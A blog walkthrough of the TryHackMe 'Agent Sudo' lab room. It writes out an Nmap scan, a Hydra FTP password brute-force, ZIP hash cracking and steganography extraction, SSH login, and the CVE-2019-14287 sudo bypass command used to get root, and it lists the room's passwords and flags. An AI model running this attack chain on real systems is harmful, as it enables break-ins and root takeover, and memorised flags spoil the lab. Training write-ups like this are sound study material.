Post cover image

October 14, 2026

Agent Sudo Walkthrough | TryHackMe

A hands-on Agent Sudo walkthrough covering web enumeration, FTP brute-forcing, steganography, SSH access, and Linux privilege escalation.

By isheblank

7 min read

Introduction

Hey everyone! 👋

Agent Sudo is a beginner-friendly TryHackMe CTF room that introduces several essential penetration-testing techniques. The challenge begins with basic network reconnaissance and develops into a practical investigation involving HTTP User-Agent manipulation, FTP credential discovery, hidden data inside image files, and SSH access.

In this walkthrough, I'll document my approach, the commands I used, the clues I discovered, and the tools that helped me complete this retired room.

Tools used: Nmap, cURL, Hydra, FTP, Binwalk, John the Ripper, 7-Zip, CyberChef, Steghide, SSH, SCP

Task 1: Author's Note

Agent Sudo is a beginner-friendly CTF that covers network enumeration, brute-force attacks, steganography, SSH access, and Linux privilege escalation.

The objective is to investigate the target, discover the agents' credentials, retrieve the flags, and ultimately obtain root access.

I started by enumerating the target's exposed services and followed the clues provided by the web server to progress through the machine.

Task 2: Enumerate

Step 1: Scan the target using Nmap

As usual, I started by scanning the target to identify its open ports and running services.

I used Nmap with the default scripts and service-version detection options.

nmap -sC -sV 10.48.136.73

The scan revealed three open ports:

The target was running Ubuntu Linux.

None

With FTP, SSH, and HTTP available, I had three potential avenues to investigate. I started with the web server.

Question 1: How many open ports are there?

Answer: 3

Step 2: Investigate the web server

I opened the target IP in my browser and found a simple announcement:

Dear agents,

Use your own codename as user-agent to access the site.

From, Agent R

None

This message suggested that the web server responded differently depending on the HTTP User-Agent header.

The User-Agent identifies the client making an HTTP request. Since the page explicitly mentioned a codename, I decided to experiment with different values using cURL.

Step 3: Modify the User-Agent

curl -A "R" -L http://10.48.136.73
None

I tested other letters as well. Most requests returned the same announcement, but using C revealed a different message.

curl -A "C" -L http://10.48.136.73

The response addressed Chris directly and warned him that his password was weak. It also instructed him to contact Agent J.

None

This gave me two useful clues:

  • The web server was using the User-Agent value to control access to different content.
  • Chris was likely a valid username, and his password might be susceptible to brute-force guessing.

Question 2: How do you redirect yourself to a secret page?

Answer: user-agent

Question 3: What is the agent's name?

Answer: chris

Task 3: Hash Cracking and Brute-Force

Step 1: Brute-force the FTP password

The Nmap scan had identified FTP on port 21, and the website had supplied the username chris

I decided to use Hydra with the RockYou wordlist to test the FTP login.

hydra -l chris -P /usr/share/wordlists/rockyou.txt 10.48.136.73 ftp

Hydra successfully discovered the password.

Discovered credentials:

Username: chris

Password: crystal

Question 1: What is the FTP password?

Answer: crystal

None

Step 2: Connect to the FTP server

With valid credentials, I connected to the FTP service.

ftp 10.48.136.73

After logging in, I listed the available files and downloaded them.

ls
mget *

The FTP server contained three files:

  • To_agentJ.txt
  • cute-alien.jpg
  • cutie.png

I began by examining the text file.

cat To_agentJ.txt

The message explained that the alien photographs were fake and that Agent R had stored the real picture in Agent J's directory. It also mentioned that the login password was stored inside a fake picture.

This suggested that the image files contained hidden information and that steganography would be an important part of the next stage.

None

Step 3: Inspect cutie.png using Binwalk

I first tried to extract data from the PNG using Steghide:

steghide extract -sf cutie.png
None

The tool reported that PNG was an unsupported file format for this operation, so I switched to Binwalk to inspect the file for embedded content.

binwalk cutie.png
None

The results revealed additional data embedded inside the image, including an encrypted ZIP archive. The archive contained a file named To_agentR.txt.

I attempted extraction with:

binwalk -e cutie.png
None

Binwalk displayed a warning because an external extraction utility was unavailable, but it still generated an extraction directory that I could inspect manually.

cd _cutie.png.extracted
ls

Among the extracted files was:

8702.zip

I checked its type:

file 8702.zip

The output identified it as an encrypted ZIP archive.

None

Step 4: Crack the ZIP password

I used zip2john to convert the ZIP archive into a format John the Ripper could process.

zip2john 8702.zip > 8702.hash

Next, I ran John against the generated hash.

john 8702.hash

Question 2: What is the ZIP file password?

Answer: alien

None

I then used 7-Zip to extract the archive.

7z e 8702.zip
None

After entering the password, I obtained To_agentR.txt.

cat To_agentR.txt

The message contained a Base64-encoded string:

QXJlYTUx

None

Step 5: Decode the hidden string

The string appeared to be Base64, so I used CyberChef's From Base64 operation to decode it.

The decoded result was:

None

Area51

This provided the password needed for the next steganography step.

Step 6: Extract the message from cute-alien.jpg

Now that I had the passphrase, I returned to the JPEG image and tried Steghide again.

steghide extract -sf cute-alien.jpg

When prompted for the passphrase, I entered:

Area51

The extraction succeeded and produced message.txt.

I read the file.

cat message.txt

The message was addressed to James and revealed his login password:

hackerrules!

The investigation had now provided the credentials required to move from FTP access to an SSH session.

None

Question 4: Who is the other agent?

Answer: james

Question 5: What is the SSH password?

Answer: hackerrules!

None

Task 4: Capture the User Flag

Step 1: Connect through SSH

I used the newly discovered credentials to log in as James.

ssh james@10.48.136.73

When prompted, I entered the password:

hackerrules!

The login succeeded, giving me a shell on the target.

None

After gaining the shell i used

ls
cat user_flag.txt

and it shows

Alien_autospy.jpg   user_flag.txt
None

Question 1: What is the user flag?

Answer: b03d975e8c92a7c04146cfa7a5a313c7

Step 2: Investigate the photograph

One of the files relevant to the investigation was Alien_autospy.jpg, located in James's home directory.

I copied it to my attack machine using SCP.

scp james@10.48.136.73:/home/james/Alien_autospy.jpg .
None

I then used a reverse image search to identify the photograph. It was associated with the infamous Roswell alien autopsy footage.

None

Question 2: What is the incident depicted in the photograph called?

Answer: Roswell alien autopsy

This identified the incident referenced by the room's question.

Task 5: Privilege Escalation

After gaining SSH access as James, the final task was to identify a way to obtain root privileges.

Step 1: Inspect sudo permissions

I ran:

sudo -l

The output showed that James could run /bin/bash under a rule that excluded root:

(ALL, !root) /bin/bash

This configuration looked restrictive, but it pointed toward a known sudo vulnerability.

None

Step 2: Identify the vulnerability

The room's privilege-escalation challenge was associated with CVE-2019–14287, a vulnerability affecting certain sudo versions and configurations that could allow restrictions in a sudoers rule to be bypassed.

None

I consulted the documented vulnerability and used the relevant technique within the authorized TryHackMe environment.

None 
sudo -u#-1 /bin/bash

I verified the resulting identity:

whoami

The output was:

root

I had successfully escalated my privileges.

None

Question 1: What is the CVE number for the escalation?

Answer: CVE-2019-14287

Step 3: Retrieve the root flag

After obtaining root access, I moved to the root directory and inspected the flag file.

cd /root
cat root.txt
None

Question 2: What is the root flag?

Answer: b53a02f55b57d4439e3341834d70c062

The bonus question asked for Agent R's identity.

Bonus question: Who is Agent R?

Answer: DesKel

Conclusion

Agent Sudo was a useful exercise in connecting small clues across several stages of a penetration test. The initial Nmap scan established the available attack surface, while the unusual User-Agent requirement exposed a username and a password weakness that could be investigated through FTP.

The image files introduced practical steganography and file-analysis techniques. Combining Binwalk, John the Ripper, 7-Zip, CyberChef, and Steghide allowed me to recover the information needed for SSH access. Finally, examining sudo -l revealed the misconfiguration that led to privilege escalation through CVE-2019-14287.

My rating: 9/10